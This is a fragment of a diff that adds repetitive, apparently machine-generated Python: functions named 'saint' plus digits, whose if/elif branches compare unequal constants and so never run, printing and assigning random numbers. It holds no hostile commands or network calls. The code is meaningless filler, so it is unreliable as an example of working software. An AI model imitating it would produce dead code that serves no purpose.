342
+ elif 853183 == 9482837:
343
+
344
+ print(5559131)
345
+
346
+ aaa7366511 = 7730136
347
+ print(8237199)
348
+
349
+ bbb3774196 = 5148456
350
+ aa4540125 = 4881974
351
+ x447208 = 5495482
352
+ xx6641333 = 1414099
353
+
354
+ a5367781 = 1772654
355
+ aa5805062 = 7894187
356
+
357
+ def saint9068540():
358
+ if 6037810 == 4679296:
359
+
360
+ print(9289709)
361
+ aaa6307277 = 5825811
362
+
363
+ print(7429469)
364
+ bbb3969018 = 3919515
365
+
366
+ aa6159572 = 2840359
367
+
368
+ z6549576 = 7259354
369
+ zz9950572 = 6619494
370
+
371
+ c8125512 = 6851518
372
+ cc3331912 = 4215069
373
+
374
+ elif 4365009 == 7260884:
375
+
376
+ print(157317)
377
+
378
+ aaa3769600 = 8506882
379
+ print(1555730)
380
+
381
+ bbb8000909 = 1538145
382
+ aa4486936 = 6123961
383
+ x4814759 = 6698144
384
+ xx8689403 = 1244685
385
+
386
+ a8731346 = 8611540
387
+ aa5714864 = 4862950
388
+
389
+ def saint6357351():
390
+ if 7902241 == 3334412:
391
+
392
+ print(3164570)
393
+ aaa7075504 = 5633079
394
+
395
+ print(1465889)
396
+ bbb2297658 = 8977378
397
+
398
+ aa6151135 = 673623
399
+
400
+ z7978451 = 8952013
401
+ zz1654664 = 9269516
402
+
403
+ c9422189 = 5982876
404
+ cc1154563 = 3824843
405
+
406
+ elif 1051167 == 2357865:
407
+
408
+ print(9891920)
409
+
410
+ aaa2624021 = 1490137
411
+ print(2649614)
412
+
413
+ bbb201327 = 8121885
414
+ aa6238376 = 8492397
415
+ x6742933 = 5630701
416
+ xx9999902 = 6116335
417
+
418
+ a7530885 = 9799353
419
+ aa3938680 = 936168
420
+
421
+ def saint1708399():
422
+ if 4391693 == 4063892:
423
+
424
+ print(2580145)
425
+ aaa2410890 = 3098711
426
+
427
+ print(5697358)
428
+ bbb1042775 = 3861139
429
+
430
+ aa8332167 = 623008
431
+
432
+ z7186702 = 7365661
433
+ zz5741431 = 2883730
434
+
435
+ c3150002 = 7968663
436
+ cc928440 = 1136643
437
+
438
+ elif 4048548 == 8481328:
439
+
440
+ print(3394886)
441
+
442
+ aaa1937510 = 7947707
443
+ print(7408824)
444
+
445
+ bbb3618185 = 5305687
446
+ aa5975844 = 8358785
447
+ x9900269 = 8630989
448
+ xx2177510 = 7536108
449
+
450
+ a470550 = 4976603
451
+ aa6210118 = 7913580
452
+
453
+ def saint6312173():
454
+ if 1428696 == 1177953:
455
+
456
+ print(1482594)
457
+ aaa2225886 = 3090842
458
+
459
+ print(825102)
460
+ bbb415895 = 7511493
461
+
462
+ aa6431841 = 9531083
463
+
464
+ z885872 = 9471999
465
+ zz2994223 = 7661798
466
+
467
+ c9616795 = 1565820
468
+ cc6555856 = 4976658
469
+
470
+ elif 6710851 == 7735698:
471
+
472
+ print(2052373)
473
+
474
+ aaa2054435 = 3427834
475
+ print(1911263)
476
+
477
+ bbb4504258 = 2996689
478
+ aa3150739 = 6267774
479
+ x5952979 = 4765240
480
+ xx2596395 = 9609026
481
+
482
+ a2411446 = 1239058
483
+ aa2313575 = 3668350
484
+
485
+ def saint2051372():
486
+ if 1852096 == 9459361:
487
+
488
+ print(9638211)
489
+ aaa3362253 = 3892960
490
+
491
+ print(5946176)
492
+ bbb9302560 = 6442648
493
+
494
+ aa1608759 = 1120790
495
+
496
+ z9885066 = 6364406
497
+ zz3087712 = 8574254
498
+
499
+ c6837757 = 1325982
500
+ cc3314756 = 409905
501
+
502
+ elif 7830239 == 7919933:
503
+
504
+ print(578546)
505
+
506
+ aaa2761737 = 1684800
507
+ print(4866706)
508
+
509
+ bbb3199466 = 5419316
510
+ aa6477998 = 8999238
511
+ x7077407 = 1101515
512
+ xx7385211 = 2920594
513
+
514
+ a7115706 = 6944096
515
+ aa6794307 = 8255385
516
+
517
+ def saint1915504():
518
+ if 4495281 == 9171807:
519
+
520
+ print(9226160)
521
+ aaa8466933 = 6643817
522
+
523
+ print(2719576)
524
+ bbb6082677 = 176255
525
+
526
+ aa4721084 = 1685133
527
+
528
+ z6697039 = 8217705
529
+ zz3666214 = 1522032
530
+
531
+ c5666862 = 1224360
532
+ cc6952110 = 4475008
533
+
534
+ elif 7294541 == 5600905:
535
+
536
+ print(8802404)
537
+
538
+ aaa3857761 = 7693786
539
+ print(893360)
540
+
541
+ bbb6824757 = 9687085
542
+ aa5552643 = 6259678
543
+ x6966395 = 8151800
544
+ xx3050448 = 9043507
545
+
546
+ a8360511 = 7086257
547
+ aa9470035 = 3356047
548
+
549
+ def saint4366991():
550
+ if 6174787 == 5477879:
551
+
552
+ print(7240032)
553
+ aaa1932481 = 3175447
554
+
555
+ print(4214433)
556
+ bbb8286686 = 4508207
557
+
558
+ aa404002 = 5117337
559
+
560
+ z5300189 = 2459155
561
+ zz8976426 = 3723180
562
+
563
+ c7839627 = 3165488
564
+ cc6055091 = 9262709
565
+
566
+ elif 3725233 == 5817310:
567
+
568
+ print(2952904)
569
+
570
+ aaa6033486 = 6234564
571
+ print(5777067)
572
+
573
+ bbb9210472 = 1656291
574
+ aa5185550 = 1923809
575
+ x4683316 = 3009777
576
+ xx8192343 = 6026326
577
+
578
+ a3534762 = 2542287
579
+ aa1122100 = 8617959
580
+
581
+ def saint2439910():
582
+ if 3269930 == 1590573:
583
+
584
+ print(9025775)
585
+ aaa7544845 = 647577
586
+
587
+ print(4458490)
588
+ bbb4241145 = 9662109
589
+
590
+ aa5316252 = 3254271
591
+
592
+ z1923066 = 3591604
593
+ zz5871006 = 213572
594
+
595
+ c4958170 = 4020011
596
+ cc4134470 = 1990404
597
+
598
+ elif 1937752 == 833299:
599
+
600
+ print(1714139)
601
+
602
+ aaa9653304 = 9153553
603
+ print(865179)
604
+
605
+ bbb2368428 = 2138609
606
+ aa4703211 = 714104
607
+ x7608192 = 1414231
608
+ xx5244613 = 399395
609
+
610
+ a5369708 = 727075
611
+ aa9197847 = 729953
612
+
613
+ def saint6673176():
614
+ if 1609759 == 7192392:
615
+
616
+ print(7181151)
617
+ aaa9470695 = 1052061
618
+
619
+ print(423590)
620
+ bbb9733446 = 7996792
621
+
622
+ aa7861137 = 6726938
623
+
624
+ z1809316 = 2525558
625
+ zz3778644 = 5791474
626
+
627
+ c8466025 = 8586921
628
+ cc4052711 = 9433081
629
+
630
+ elif 7299877 == 5517389:
631
+
632
+ print(7387414)
633
+
634
+ aaa1191118 = 6671132
635
+ print(1867712)
636
+
637
+ bbb3626515 = 3715738
638
+ aa2167026 = 6108083
639
+ x4261759 = 9822143
640
+ xx5737121 = 6759111
641
+
642
+ a6212610 = 9086174
643
+ aa2721268 = 7155343
644
+